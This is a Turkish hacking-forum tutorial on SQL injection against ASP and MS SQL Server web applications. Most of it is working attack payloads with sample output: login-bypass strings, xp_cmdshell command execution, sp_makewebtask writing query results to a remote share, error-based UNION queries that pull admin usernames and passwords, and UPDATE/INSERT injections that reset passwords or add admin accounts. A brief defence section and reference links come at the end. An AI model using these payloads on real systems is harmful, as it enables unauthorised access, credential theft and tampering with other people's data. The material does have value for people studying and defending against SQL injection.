Adım Adım SQL Injection

f_and_y

Uzman üye
30 Eyl 2006
1,135
13
istanbul
Detay:
1.0 Giriş
Bir makinanın sadece 80 nolu portu açık olduğunda, ağ güvenlik tarayıcıları işe yarar birşeyler bulamayabilir. Sistem yöneticisi devamlı olarak bu sunucuyu güncellediğini de biliyoruz. Bu durumda Web hack'e yönelmemiz gerekiyor. SQL Injection işletim sistemine değil, veritabanından dinamik içerik sunan (ASPi, JSPi, PHPi, CGI vb.) web uygulamalarına karşı gerçekleştirilen bir web hack yöntemidir.
turkhackteam.org

Bu makale yeni birşey sunmamaktadır, SQL Injection konusunda çok sayıda makale vardır ve geniş çapta kullanılmaktadır. Makaleyi yazmamızın sebebi sızma-testi çalışmalarımızda kullandığımız bazı SQL Injection metodlarını dokümante etmek ve başkalarının da işine yaraması. Bölüm 9.0 daki, daha fazla bilgiyi nereden edinebilirim kısmına göz atmayı unutmayın.

1.1 SQL Injection nedir?
Web sayfalarına gönderilen girdilere SQL sorgu/komut'ları enjekte etme taktiğidir. Çoğu web uygulaması web kullanıcısından parametreler alır ve veritabanına SQL sorguları yapar. Örneğin, bir kullanıcı login olurken, web sayfası kullanıcının girdiği kullanıcı adı ve şifreyi alarak geçerli olup olmadığını kontrol için SQL veritabanına sorgular. SQL Injection ile, özel hazırlanmış bir kullanıcı adı ve/veya şifre alanı ile SQL sorgusunda değişiklik yaparak farklı sonuçlar elde edebiliriz.

1.2 Neye ihtiyacımız var?
Herhangi bir web tarayıcısı (browser)

2.0 Neye bakmalıyız?turkhackteam.org
Veri göndermenize izin veren sayfalara bakın, ör: login sayfası, arama sayfası, görüş bildirme formları vs. Bazen HTML sayfaları ASP sayfasına parametreleri göndermek için POST metodunu kullanır. Bu durumda URL'de parametreleri göremezsiniz. Fakat HTML kaynak koduna bakıp FORM tag'lerini kontrol edebilirsiniz. Buna benzer birşeyler bulabilirsiniz:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

<FORM> ve </FORM> tag'leri arasındaki herşey işimize yarayabilecek potansiyel parametrelerdir (exploit etmek için).
turkhackteam.org

2.1 Ya hiç input kabul eden sayfalar bulamazsak?
ASP, JSP, CGI veya PHP vb. sayfalara göz atın. Aşağıdaki gibi parametre kabul eden sayfaları bulmaya çalışın:
http://duck/index.asp?id=10

3.0 SQL Injection'dan etkilenip etkilenmediğini nasıl test edebilirim?
İlk olarak tek bir tırnak işareti ekleme taktiğini deneyin:
olympos' or 1=1--

Kullanıcı adı veya şifre girişinde, hatta URL'de deneyin. Örnek:
- Login: olympos' or 1=1--
- Pass: olympos' or 1=1--
- http://duck/index.asp?id=darkgrup' or 1=1--

Eğer bunu "hidden" alanında yapmanız gerekirse, HTML sayfasını kendi makinanıza indirip kaydedin. Daha sonra bu dosya içerisinde URL ve hidden alanını değiştirin. Örnek:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="olympos' or 1=1--">
</FORM>

Eğer şansınız varsa geçerli bir kullanıcı adı şifre olmadan siteye login olabileceksiniz.

3.1 Fakat neden ' or 1=1-- ?
' or 1=1-- in neden önemli olduğuna bir örnekle bakalım. Login'i atlatmaktan başka extra bilgiler de edinilebilir. Aşağıdaki gibi bir asp sayfası düşünün:
http://duck/index.asp?kategori=yemek

URL'deki 'kategori' bir değişken ismidir, ve 'yemek' bu değişkene atanan değerdir. Bunu gerçekleştirmek için aşağıdaki gibi bir ASP kodu kullanılır:

v_kat = request("kategori")
sqlstr = "SELECT * FROM urunler WHERE PKategori='" & v_kat & "'"
set rs=conn.execute(sqlstr)

Burada görüldüğü gibi değişkenimiz v_cat değişkenine atanıyor ve SQL sorgusu aşağıdaki gibi oluyor:
turkhackteam.org
SELECT * FROM urunler WHERE PKategori='yemek'

Sorgu WHERE şartına ('yemek') uygun olarak bir veya daha fazla sonuç döndürecektir.

Şimdi URL'yi aşağıdaki değiştirdiğimizi varsayalım:
http://duck/index.asp?kategori=yemek' or 1=1--
turkhackteam.org
Böylece v_cat değişkenimiz "yemek' or 1=1--" oldu, Eğer bu SQL sorgusunda kullanılırsa:
SELECT * FROM urunler WHERE PKategori='yemek' or 1=1--'

Bu sorgu, PKategori 'yemek' değerine sahip olsa da olmasa da urunler kategorisindeki tüm verileri döndürecektir. Çift - işareti (--) MS SQL sunucusuna bu işaretlerden sonra gelen tüm girdileri göz ardı et anlamına gelir. Bu sayede en sonda kalan tek tırnak'tan (') kurtulunmuş olur. Bazen iki - yerine tek bir # işareti de kullanılabilmektedir.

Bununla beraber, eğer SQL server değilse, veya sorgunun geri kalanınından kurtulamıyorsanız, aşağıdakini de deneyebilirsiniz:
' or 'a'='aturkhackteam.org
Bu şekilde SQL sorgusu aşağıdaki gibi olur:
SELECT * FROM urunler WHERE PKategori='yemek' or 'a'='a'
Bu da aynı sonuçları dönecektir.
SQL sorgusuna bağlı olarak aşağıdakileri de deneyebilirsiniz:
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 SQL Injection ile uzaktan nasıl komut çalıştırabilirim?
SQL komutu eklemek genelde istediğimiz SQL sorgusunu çalıştırabilmek demektir. MS SQL sunucusunun varsayılan kurulumları Windows'daki Administrator erişimine eşit olan SYSTEM kullanıcısı ile çalışır. Bu sayede master..xp_cmdshell gibi stored procedure'leri kullanarak uzaktan komut çalıştırabiliriz:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Eğer tek tırnak (') çalışmazsa çift tırnak (") kullanın.

Noktalı virgül o anki SQL sorgusunu sonlandırır ve yeni bir SQL komutu başlatabilmenizi sağlar. Komutun başarılı olarak çalışıp çalışmadığını kontrol için 10.10.1.2 IP adresinde ICMP paketlerini dinleyebilirsiniz:
#tcpdump icmp

Eğer sunucudan ping istekleri almazsanız, yetki hatası mesajları alırsanız sistem yöneticisinin bu stored procedure'ler için web kullanıcıları yetkilerini ayarlamış olması söz konusudur.

5.0 SQL sorgumun çıktısını nasıl alırım?
sp_makewebtask ile sorgunuzu HTML'e yazdırabilirsiniz:
; EXEC master..sp_makewebtask "\\10.10.1.3\paylasim\sorgu.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Fakat hedef IP'nin "paylasim" klasörünü herkesin erişimine (yazma yetkisi ile) açmış olması gerekiyor.
turkhackteam.org
6.0 ODBC hata mesajları ile veritabanından veriler nasıl alınır?
MS SQL Sunucusunu ürettiği hata mesajları ile istediğimiz verileri alabiliriz. Örneğin aşağıdaki sayfada deniyelim:
http://duck/index.asp?id=10
turkhackteam.org
Integer 10 değerine veritabanındaki başka bir string'i UNION ile getirmeyi deneyelim:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Sistem tablosu INFORMATION_SCHEMA.TABLES sunucudaki tüm tablolar hakkında bilgi içerir. TABLE_NAME alanı veritabanındaki her tablonun isim değerini içerir. Bunu seçmemizin sebebi varolduğuna emin olmamız. Sorgumuz:turkhackteam.org
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
Bu sorgu veritabanındaki ilk tablo ismini döndürecektir. Bu isim değerini (string) rakam olan (integer) 10 değerine UNION ile birleştirdiğimiz, MSQL Sunucusu bir string değerini (nvarchar) integer'e çevirmeye çalışacaktır ve nvarchar'ı int'e çeviremediği için hata ile sonuçlanacaktır. Sunucu aşağıdaki hata mesajını döner:
turkhackteam.org

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
turkhackteam.org

Hata mesajı bize değerin rakama çevirilemediğini belirtiyor. Bu durumda sunucudaki ilk tablo isminin "table1" olduğunu görmüş olduk.

Bir sonraki tablo ismini öğrenmek için aşağıdaki sorguyu çalıştırırız:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
turkhackteam.org

Hatta LIKE şartını da kullanabiliriz:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
turkhackteam.org

Burda '%25login%25' SQL sunucusunda %login% olarak görünecektir. Bu durumda kriterimize uyan ilk tablo ismini edinmiş oluyoruz, "admin_login".

6.1 Bir table'daki tüm kolon isimlerini nasıl alırız?
Bir table'daki tüm kolon isimlerini almak için yine yararlı başka bir table olan INFORMATION_SCHEMA.COLUMNS table'ını kullanabiliriz:
turkhackteam.org

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
turkhackteam.org

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
turkhackteam.org

İlk kolon ismini öğrendiğimize göre NOT IN () kullanarak bir sonraki kolon ismini de öğrenebiliriz:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
turkhackteam.org

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
turkhackteam.org

6.2 İstediğimiz verileri nasıl alırız?
Önemli bazı tabloları ve kolonlarını öğrendikten sonra aynı teknik ile istediğimiz verileri getirebiliriz:
Öncelikle admin_login tablosundaki ilk login_name değerini getirelim:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Çıktı:turkhackteam.org

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

Artık "neo" login ismine sahip bir yönetici hesabı olduğunu biliyoruz. Son olarak veritabanından "neo" kullanıcısının şifresini getirelim:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
turkhackteam.org

Çıktı:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

Artık kullanıcı adı "neo" ve şifre "m4trix" ile login olabiliriz.

6.3 Rakam içeren string değerlerini nasıl alırız?
Yukarıda belirtilen tekniğin bazı sınırlamaları var. Eğer geçerli bir rakam içeren (0 ile 9 arası karakterler) bir yazıyı rakama çevirmeyi denersek herhangi bir hata mesajı alamayız. Örnek olarak, şifresi "31173" olan "trinity" kullanıcısı için deneme yapmış olsak:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
turkhackteam.org

Muhtemelen "Sayfa bulunamadı" hatası alırız. Sebebi "31173" şifresinin rakama dönüştürülebilir olması ve geçerli bir UNION sorgusu olduğu için SQL sunucusu ODBC hata mesajı vermeyecektir.

Bu problemin üstesinden gelmek için, rakam içeren verinin arkasına bazı harfler ekleyerek dönüşüm işleminin başarısız olmasını sağlayabiliriz:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
turkhackteam.org

Şifreye istediğimiz karakterleri eklemek için basitçe + işaretini kullandık (+ nın ASCII kod değeri = 0x2b). Mevcut şifreye '(boşluk)morpheus' ekliyoruz. Böylece dönen veri '31173' yerine '31173 morpheus' olacak. convert() fonksiyonunu kendimiz çağırarak '31173 morpheus' değerini integer'e dönüştürmek istediğimizde SQL sunucusu ODBC hata mesajı verecektir:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Artık 'trinity' kullanıcı adı ve '31173' şifresi ile de login olabiliyoruz.

7.0 Veritabanına nasıl veri ekleyebilir, güncelleyebilirim?
Bir tablonun tüm kolon isimlerini elde ettiğimizde artık UPDATE ile verileri güncellememiz ve hatta INSERT ile tabloya yeni veriler eklememiz de mümkün. Örneğin, neo kullanıcısnın şifresini değiştirmek için:
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
turkhackteam.org

Veritabanına yeni bir kayıt eklemek için:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','yenisifre','NA')--

Artık neo2 kullanıcı adı ve yenisifre sifresi ile de login olabiliriz.
turkhackteam.org

8.0 SQL Injection'dan nasıl korunabilirim?
Aşağıdaki gibi kullanıcı tarafından belirlenebilecek yerlerde sql sorgularında kullanılabilecek özel karakterleri filtreleyin:
- Kullanıcı tarafından girilen form parametreleri
- URL parametreleri
- Çerez değerleri (cookie)
turkhackteam.org

Nümerik değerleri SQL sorgusunda kullanmadan önce Integer'e dönüştürün. Veya ISNUMERIC kullanarak integer olduğuna emin olun.
SQL sunucusu servisini çalıştıran kullanıcının yetkilerini ayarlayın.
Kullanmadığınız stored procedure'leri silin:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
turkhackteam.org

9.0 Daha fazla bilgi nereden edinebilirim?
SQL Injection konusunda ilk karşılaştığımız doküman Rain Forest Puppy'nin PacketStorm'u nasıl hack ettiğini anlattığı dokümandı:
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

ODBC hata mesajlarından bilgi toplama hakkında harika bir doküman:
http://www.blackhat.com/presentation...d/BHWin01Litch...

Çeşitli SQL sunucularındaki SQL Injection'lar hakkında güzelbir özet:
http://www.owasp.org/asac/input_validation/sql.shtml
turkhackteam.org
Sensepost'un SQL Injection ile ilgili dokümanı:
http://www.sensepost.com/misc/SQLinsertion.htm
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.